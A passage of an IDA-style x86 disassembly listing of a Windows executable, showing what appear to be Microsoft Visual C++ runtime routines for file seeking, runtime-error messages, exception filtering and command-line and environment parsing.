sub_419AF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BC9	proc near		; CODE XREF: sub_417536+18Bp
					; sub_419C3D+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41B76B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419BEA
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419BEA:				; CODE XREF: sub_419BC9+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:dword_41F05C	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_419C0B
		call	ds:dword_41F008	; RtlGetLastWin32Error
		jmp	short loc_419C0D
; ---------------------------------------------------------------------------


loc_419C0B:				; CODE XREF: sub_419BC9+38j
		xor	eax, eax


loc_419C0D:				; CODE XREF: sub_419BC9+40j
		test	eax, eax
		jz	short loc_419C1D
		push	eax
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_419C3A
; ---------------------------------------------------------------------------


loc_419C1D:				; CODE XREF: sub_419BC9+46j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		mov	eax, esi
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi


loc_419C3A:				; CODE XREF: sub_419BC9+52j
		pop	edi
		pop	esi
		retn
sub_419BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C3D	proc near		; CODE XREF: sub_414809+69p
					; sub_414AFC+D0p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00419CCC SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_428078
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_419CCC
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419CCC
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419C9C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_419BC9
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_419CB3
; ---------------------------------------------------------------------------


loc_419C9C:				; CODE XREF: sub_419C3D+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_419CB3:				; CODE XREF: sub_419C3D+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_419CC4
		mov	eax, [ebp+var_1C]
		jmp	short loc_419CE2
sub_419C3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CC1	proc near		; DATA XREF: .rdata:stru_428078o
		mov	ebx, [ebp+8]
sub_419CC1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419CC4	proc near		; CODE XREF: sub_419C3D+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_419CC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419C3D


loc_419CCC:				; CODE XREF: sub_419C3D+15j
					; sub_419C3D+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_419CE2:				; CODE XREF: sub_419C3D+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_419C3D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CE8	proc near		; CODE XREF: sub_414809+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_419D04
		mov	[edi+4], ebx


loc_419D04:				; CODE XREF: sub_419CE8+17j
		push	1
		push	ebx
		push	esi
		call	sub_419C3D
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_419D85
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_419D29
		sub	eax, [edi+4]
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D29:				; CODE XREF: sub_419CE8+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_419D76
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		mov	ebx, dword_47A2E0[ebx*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_419D68
		mov	ecx, edx
		cmp	ecx, eax
		jnb	short loc_419D68


loc_419D5B:				; CODE XREF: sub_419CE8+7Ej
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_419D63
		inc	[ebp+var_8]


loc_419D63:				; CODE XREF: sub_419CE8+76j
		inc	ecx
		cmp	ecx, [edi]
		jb	short loc_419D5B


loc_419D68:				; CODE XREF: sub_419CE8+6Bj
					; sub_419CE8+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_419D8D
		mov	eax, [ebp+var_8]
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D76:				; CODE XREF: sub_419CE8+50j
		test	cl, cl
		js	short loc_419D68
		call	sub_417C70
		mov	dword ptr [eax], 16h


loc_419D85:				; CODE XREF: sub_419CE8+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D8D:				; CODE XREF: sub_419CE8+84j
		test	byte ptr [edi+0Ch], 1
		jz	loc_419E3D
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_419DA6
		and	[ebp+var_8], ecx
		jmp	loc_419E3D
; ---------------------------------------------------------------------------


loc_419DA6:				; CODE XREF: sub_419CE8+B4j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:47A2E0h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_419E37
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_419C3D
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_419DFE
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		jmp	short loc_419DF4
; ---------------------------------------------------------------------------


loc_419DEB:				; CODE XREF: sub_419CE8+10Ej
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419DF3
		inc	[ebp+arg_0]


loc_419DF3:				; CODE XREF: sub_419CE8+106j
		inc	eax


loc_419DF4:				; CODE XREF: sub_419CE8+101j
		cmp	eax, ecx
		jb	short loc_419DEB
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_419E32
; ---------------------------------------------------------------------------


loc_419DFE:				; CODE XREF: sub_419CE8+F7j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_419C3D
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_419E25
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_419E25
		test	ch, 4
		jz	short loc_419E28


loc_419E25:				; CODE XREF: sub_419CE8+12Ej
					; sub_419CE8+136j
		mov	eax, [edi+18h]


loc_419E28:				; CODE XREF: sub_419CE8+13Bj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_419E32:				; CODE XREF: sub_419CE8+114j
		jz	short loc_419E37
		inc	[ebp+arg_0]


loc_419E37:				; CODE XREF: sub_419CE8+E3j
					; sub_419CE8:loc_419E32j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_419E3D:				; CODE XREF: sub_419CE8+A9j
					; sub_419CE8+B9j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_419E45:				; CODE XREF: sub_419CE8+3Cj
					; sub_419CE8+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E4A	proc near		; CODE XREF: sub_4148E1+12p
					; sub_414906+12p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax


loc_419E68:				; CODE XREF: sub_419E4A+2Bj
		cmp	ecx, dword_42CF50[eax*8]
		jz	short loc_419E77
		inc	eax
		cmp	eax, 12h
		jb	short loc_419E68


loc_419E77:				; CODE XREF: sub_419E4A+25j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_42CF50[esi]
		jnz	loc_419FAB
		mov	eax, dword_479EA8
		cmp	eax, 1
		jz	loc_419F86
		cmp	eax, edx
		jnz	short loc_419EA7
		cmp	dword_42C744, 1
		jz	loc_419F86


loc_419EA7:				; CODE XREF: sub_419E4A+4Ej
		cmp	ecx, 0FCh
		jz	loc_419FAB
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	edx
		mov	[ebp+var_8], dl
		call	ds:dword_41F010	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_419EE0
		lea	eax, [ebp+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx


loc_419EE0:				; CODE XREF: sub_419E4A+81j
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edi, [ebp+var_10C]
		call	sub_416000
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_419F22
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416000
		mov	edi, eax
		lea	eax, [ebp+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_412C40
		add	esp, 10h


loc_419F22:				; CODE XREF: sub_419E4A+ADj
		push	edi
		call	sub_416000
		push	off_42CF54[esi]
		mov	ebx, eax
		call	sub_416000
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_41B390
		push	edi
		push	ebx
		call	sub_41B3A0
		push	offset asc_4283A8 ; "\n\n"
		push	ebx
		call	sub_41B3A0
		push	off_42CF54[esi]
		push	ebx
		call	sub_41B3A0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_41D75B
		add	esp, 2Ch
		jmp	short loc_419FAB
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E4A+46j
					; sub_419E4A+57j
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	esi, off_42CF54[esi]
		push	dword ptr [esi]
		call	sub_416000
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_41F190	; GetStdHandle
		push	eax
		call	ds:dword_41F038	; WriteFile


loc_419FAB:				; CODE XREF: sub_419E4A+38j
					; sub_419E4A+63j ...
		lea	esp, [ebp-118h]
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC1	proc near		; CODE XREF: sub_4148E1+9p
					; sub_414906+9p
		mov	eax, dword_479EA8
		cmp	eax, 1
		jz	short loc_419FD8
		test	eax, eax
		jnz	short locret_419FF9
		cmp	dword_42C744, 1
		jnz	short locret_419FF9


loc_419FD8:				; CODE XREF: sub_419FC1+8j
		push	0FCh
		call	sub_419E4A
		mov	eax, dword_47A028
		test	eax, eax
		pop	ecx
		jz	short loc_419FEE
		call	eax


loc_419FEE:				; CODE XREF: sub_419FC1+29j
		push	0FFh
		call	sub_419E4A
		pop	ecx

locret_419FF9:				; CODE XREF: sub_419FC1+Cj
					; sub_419FC1+15j
		retn
sub_419FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FFA	proc near		; CODE XREF: .text:00414ACEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_415456
		mov	edi, [ebp+arg_0]
		mov	esi, eax
		mov	edx, [esi+54h]
		mov	eax, dword_42D064
		mov	ecx, edx


loc_41A015:				; CODE XREF: sub_419FFA+2Aj
		cmp	[ecx], edi
		jz	short loc_41A026
		lea	ebx, [eax+eax*2]
		add	ecx, 0Ch
		lea	ebx, [edx+ebx*4]
		cmp	ecx, ebx
		jb	short loc_41A015


loc_41A026:				; CODE XREF: sub_419FFA+1Dj
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	ecx, eax
		jnb	short loc_41A034
		cmp	[ecx], edi
		jz	short loc_41A036


loc_41A034:				; CODE XREF: sub_419FFA+34j
		xor	ecx, ecx


loc_41A036:				; CODE XREF: sub_419FFA+38j
		test	ecx, ecx
		jz	loc_41A150
		mov	ebx, [ecx+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_41A150
		cmp	ebx, 5
		jnz	short loc_41A05D
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_41A159
; ---------------------------------------------------------------------------


loc_41A05D:				; CODE XREF: sub_419FFA+55j
		cmp	ebx, 1
		jz	loc_41A14B
		mov	eax, [esi+58h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+58h], eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_41A13D
		mov	edx, dword_42D058
		mov	eax, dword_42D05C
		add	eax, edx
		cmp	edx, eax
		jge	short loc_41A0B6
		lea	eax, [edx+edx*2]
		shl	eax, 2


loc_41A095:				; CODE XREF: sub_419FFA+B7j
		mov	edi, [esi+54h]
		and	dword ptr [eax+edi+8], 0
		mov	edi, dword_42D058
		mov	ebx, dword_42D05C
		inc	edx
		add	ebx, edi
		add	eax, 0Ch
		cmp	edx, ebx
		jl	short loc_41A095
		mov	ebx, [ebp+arg_0]


loc_41A0B6:				; CODE XREF: sub_419FFA+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	edi, [esi+5Ch]
		jnz	short loc_41A0CC
		mov	dword ptr [esi+5Ch], 83h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0CC:				; CODE XREF: sub_419FFA+C7j
		cmp	ecx, 0C0000090h
		jnz	short loc_41A0DD
		mov	dword ptr [esi+5Ch], 81h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0DD:				; CODE XREF: sub_419FFA+D8j
		cmp	ecx, 0C0000091h
		jnz	short loc_41A0EE
		mov	dword ptr [esi+5Ch], 84h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0EE:				; CODE XREF: sub_419FFA+E9j
		cmp	ecx, 0C0000093h
		jnz	short loc_41A0FF
		mov	dword ptr [esi+5Ch], 85h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0FF:				; CODE XREF: sub_419FFA+FAj
		cmp	ecx, 0C000008Dh
		jnz	short loc_41A110
		mov	dword ptr [esi+5Ch], 82h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A110:				; CODE XREF: sub_419FFA+10Bj
		cmp	ecx, 0C000008Fh
		jnz	short loc_41A121
		mov	dword ptr [esi+5Ch], 86h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A121:				; CODE XREF: sub_419FFA+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_41A130
		mov	dword ptr [esi+5Ch], 8Ah


loc_41A130:				; CODE XREF: sub_419FFA+D0j
					; sub_419FFA+E1j ...
		push	dword ptr [esi+5Ch]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+5Ch], edi
		jmp	short loc_41A144
; ---------------------------------------------------------------------------


loc_41A13D:				; CODE XREF: sub_419FFA+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx


loc_41A144:				; CODE XREF: sub_419FFA+141j
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	[esi+58h], eax


loc_41A14B:				; CODE XREF: sub_419FFA+66j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A159
; ---------------------------------------------------------------------------


loc_41A150:				; CODE XREF: sub_419FFA+3Ej
					; sub_419FFA+4Cj
		push	[ebp+arg_4]
		call	ds:dword_41F194	; UnhandledExceptionFilter


loc_41A159:				; CODE XREF: sub_419FFA+5Ej
					; sub_419FFA+154j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419FFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A15E	proc near		; CODE XREF: .text:00414A86p
		cmp	dword_47B674, 0
		jnz	short loc_41A16C
		call	sub_4195AD


loc_41A16C:				; CODE XREF: sub_41A15E+7j
		push	esi
		mov	esi, dword_47B664
		test	esi, esi
		jnz	short loc_41A17E
		mov	esi, 41FA76h
		jmp	short loc_41A1C3
; ---------------------------------------------------------------------------


loc_41A17E:				; CODE XREF: sub_41A15E+17j
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41A1AC
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_41A1BC


loc_41A18B:				; CODE XREF: sub_41A15E+45j
		test	al, al
		jz	short loc_41A1A5
		movzx	eax, al
		push	eax
		call	sub_41D885
		test	eax, eax
		pop	ecx
		jz	short loc_41A19E
		inc	esi


loc_41A19E:				; CODE XREF: sub_41A15E+3Dj
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41A18B


loc_41A1A5:				; CODE XREF: sub_41A15E+2Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_41A1BD
		jmp	short loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A1AC:				; CODE XREF: sub_41A15E+24j
		cmp	al, 20h
		jbe	short loc_41A1BD


loc_41A1B0:				; CODE XREF: sub_41A15E+56j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41A1B0
		jmp	short loc_41A1BD
; ---------------------------------------------------------------------------


loc_41A1B8:				; CODE XREF: sub_41A15E+63j
		cmp	al, 20h
		ja	short loc_41A1C3


loc_41A1BC:				; CODE XREF: sub_41A15E+2Bj
					; sub_41A15E+4Cj
		inc	esi


loc_41A1BD:				; CODE XREF: sub_41A15E+4Aj
					; sub_41A15E+50j ...
		mov	al, [esi]
		test	al, al
		jnz	short loc_41A1B8


loc_41A1C3:				; CODE XREF: sub_41A15E+1Ej
					; sub_41A15E+5Cj
		mov	eax, esi
		pop	esi
		retn
sub_41A15E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1C7	proc near		; CODE XREF: .text:loc_414A55p
		push	ebx
		xor	ebx, ebx
		cmp	dword_47B674, ebx
		push	esi
		push	edi
		jnz	short loc_41A1D9
		call	sub_4195AD


loc_41A1D9:				; CODE XREF: sub_41A1C7+Bj
		mov	esi, dword_479EA0
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_41A1F7
		jmp	short loc_41A217
; ---------------------------------------------------------------------------


loc_41A1E7:				; CODE XREF: sub_41A1C7+34j
		cmp	al, 3Dh
		jz	short loc_41A1EC
		inc	edi


loc_41A1EC:				; CODE XREF: sub_41A1C7+22j
		push	esi
		call	sub_416000
		pop	ecx
		lea	esi, [esi+eax+1]


loc_41A1F7:				; CODE XREF: sub_41A1C7+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41A1E7
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41344D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_479E7C, edi
		jnz	short loc_41A21C


loc_41A217:				; CODE XREF: sub_41A1C7+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A274
; ---------------------------------------------------------------------------


loc_41A21C:				; CODE XREF: sub_41A1C7+4Ej
		mov	esi, dword_479EA0
		push	ebp
		jmp	short loc_41A24F
; ---------------------------------------------------------------------------


loc_41A225:				; CODE XREF: sub_41A1C7+8Aj
		push	esi
		call	sub_416000
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_41A24D
		push	ebp
		call	sub_41344D
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_41A278
		push	esi
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx
		add	edi, 4


loc_41A24D:				; CODE XREF: sub_41A1C7+6Bj
		add	esi, ebp


loc_41A24F:				; CODE XREF: sub_41A1C7+5Cj
		cmp	[esi], bl
		jnz	short loc_41A225
		push	dword_479EA0
		call	sub_412FE4
		mov	dword_479EA0, ebx
		mov	[edi], ebx
		mov	dword_47B668, 1
		xor	eax, eax


loc_41A272:				; CODE XREF: sub_41A1C7+C5j
		pop	ecx
		pop	ebp


loc_41A274:				; CODE XREF: sub_41A1C7+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41A278:				; CODE XREF: sub_41A1C7+78j
		push	dword_479E7C
		call	sub_412FE4
		mov	dword_479E7C, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A272
sub_41A1C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A28E	proc near		; CODE XREF: sub_41A3FA+54p
					; sub_41A3FA+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_41A2B1
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41A2B1:				; CODE XREF: sub_41A28E+18j
					; sub_41A28E+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_41A2C4
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_41A2F1
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A28E+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41A2CF
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_41A2CF:				; CODE XREF: sub_41A28E+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_47A401[ebx], 4
		jz	short loc_41A2EA
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41A2E9
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_41A2E9:				; CODE XREF: sub_41A28E+54j
		inc	eax


loc_41A2EA:				; CODE XREF: sub_41A28E+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_41A323


loc_41A2F1:				; CODE XREF: sub_41A28E+34j
		test	edx, edx
		jnz	short loc_41A2B1
		cmp	cl, 20h
		jz	short loc_41A2FF
		cmp	cl, 9
		jnz	short loc_41A2B1


loc_41A2FF:				; CODE XREF: sub_41A28E+6Aj
		test	edi, edi
		jz	short loc_41A307
		and	byte ptr [edi-1], 0


loc_41A307:				; CODE XREF: sub_41A28E+73j
					; sub_41A28E+96j
		and	[ebp+var_4], 0


loc_41A30B:				; CODE XREF: sub_41A28E+157j
		cmp	byte ptr [eax],	0
		jz	loc_41A3EA


loc_41A314:				; CODE XREF: sub_41A28E+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_41A320
		cmp	cl, 9
		jnz	short loc_41A326


loc_41A320:				; CODE XREF: sub_41A28E+8Bj
		inc	eax
		jmp	short loc_41A314
; ---------------------------------------------------------------------------


loc_41A323:				; CODE XREF: sub_41A28E+61j
		dec	eax
		jmp	short loc_41A307
; ---------------------------------------------------------------------------


loc_41A326:				; CODE XREF: sub_41A28E+90j
		cmp	byte ptr [eax],	0
		jz	loc_41A3EA
		cmp	[ebp+arg_0], 0
		jz	short loc_41A33E
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41A33E:				; CODE XREF: sub_41A28E+A5j
		inc	dword ptr [ebx]


loc_41A340:				; CODE XREF: sub_41A28E+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_41A349
; ---------------------------------------------------------------------------


loc_41A347:				; CODE XREF: sub_41A28E+BEj
		inc	eax
		inc	edx


loc_41A349:				; CODE XREF: sub_41A28E+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_41A347
		cmp	byte ptr [eax],	22h
		jnz	short loc_41A379
		test	dl, 1
		jnz	short loc_41A377
		cmp	[ebp+var_4], 0
		jz	short loc_41A36A
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_41A36A
		mov	eax, ecx
		jmp	short loc_41A36C
; ---------------------------------------------------------------------------


loc_41A36A:				; CODE XREF: sub_41A28E+CEj
					; sub_41A28E+D6j
		xor	ebx, ebx


loc_41A36C:				; CODE XREF: sub_41A28E+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_41A377:				; CODE XREF: sub_41A28E+C8j
		shr	edx, 1


loc_41A379:				; CODE XREF: sub_41A28E+C3j
		test	edx, edx
		jz	short loc_41A38A


loc_41A37D:				; CODE XREF: sub_41A28E+FAj
		test	edi, edi
		jz	short loc_41A385
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_41A385:				; CODE XREF: sub_41A28E+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_41A37D


loc_41A38A:				; CODE XREF: sub_41A28E+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A3D8
		cmp	[ebp+var_4], 0
		jnz	short loc_41A3A0
		cmp	cl, 20h
		jz	short loc_41A3D8
		cmp	cl, 9
		jz	short loc_41A3D8


loc_41A3A0:				; CODE XREF: sub_41A28E+106j
		test	ebx, ebx
		jz	short loc_41A3D2
		test	edi, edi
		jz	short loc_41A3C1
		movzx	edx, cl
		test	byte_47A401[edx], 4
		jz	short loc_41A3BA
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]


loc_41A3BA:				; CODE XREF: sub_41A28E+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_41A3D0
; ---------------------------------------------------------------------------


loc_41A3C1:				; CODE XREF: sub_41A28E+118j
		movzx	ecx, cl
		test	byte_47A401[ecx], 4
		jz	short loc_41A3D0
		inc	eax
		inc	dword ptr [esi]


loc_41A3D0:				; CODE XREF: sub_41A28E+131j
					; sub_41A28E+13Dj
		inc	dword ptr [esi]


loc_41A3D2:				; CODE XREF: sub_41A28E+114j
		inc	eax
		jmp	loc_41A340
; ---------------------------------------------------------------------------


loc_41A3D8:				; CODE XREF: sub_41A28E+100j
					; sub_41A28E+10Bj ...
		test	edi, edi
		jz	short loc_41A3E0
		and	byte ptr [edi],	0
		inc	edi


loc_41A3E0:				; CODE XREF: sub_41A28E+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_41A30B
; ---------------------------------------------------------------------------


loc_41A3EA:				; CODE XREF: sub_41A28E+80j
					; sub_41A28E+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41A3F4
		and	dword ptr [eax], 0


loc_41A3F4:				; CODE XREF: sub_41A28E+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_41A28E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3FA	proc near		; CODE XREF: .text:00414A44p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_47B674, edi
		jnz	short loc_41A411
		call	sub_4195AD


loc_41A411:				; CODE XREF: sub_41A3FA+10j
		and	byte_47A134, 0
		push	104h
		mov	esi, offset dword_47A030
		push	esi
		push	edi
		call	ds:dword_41F010	; GetModuleFileNameA
		mov	eax, dword_47B664
		cmp	eax, edi
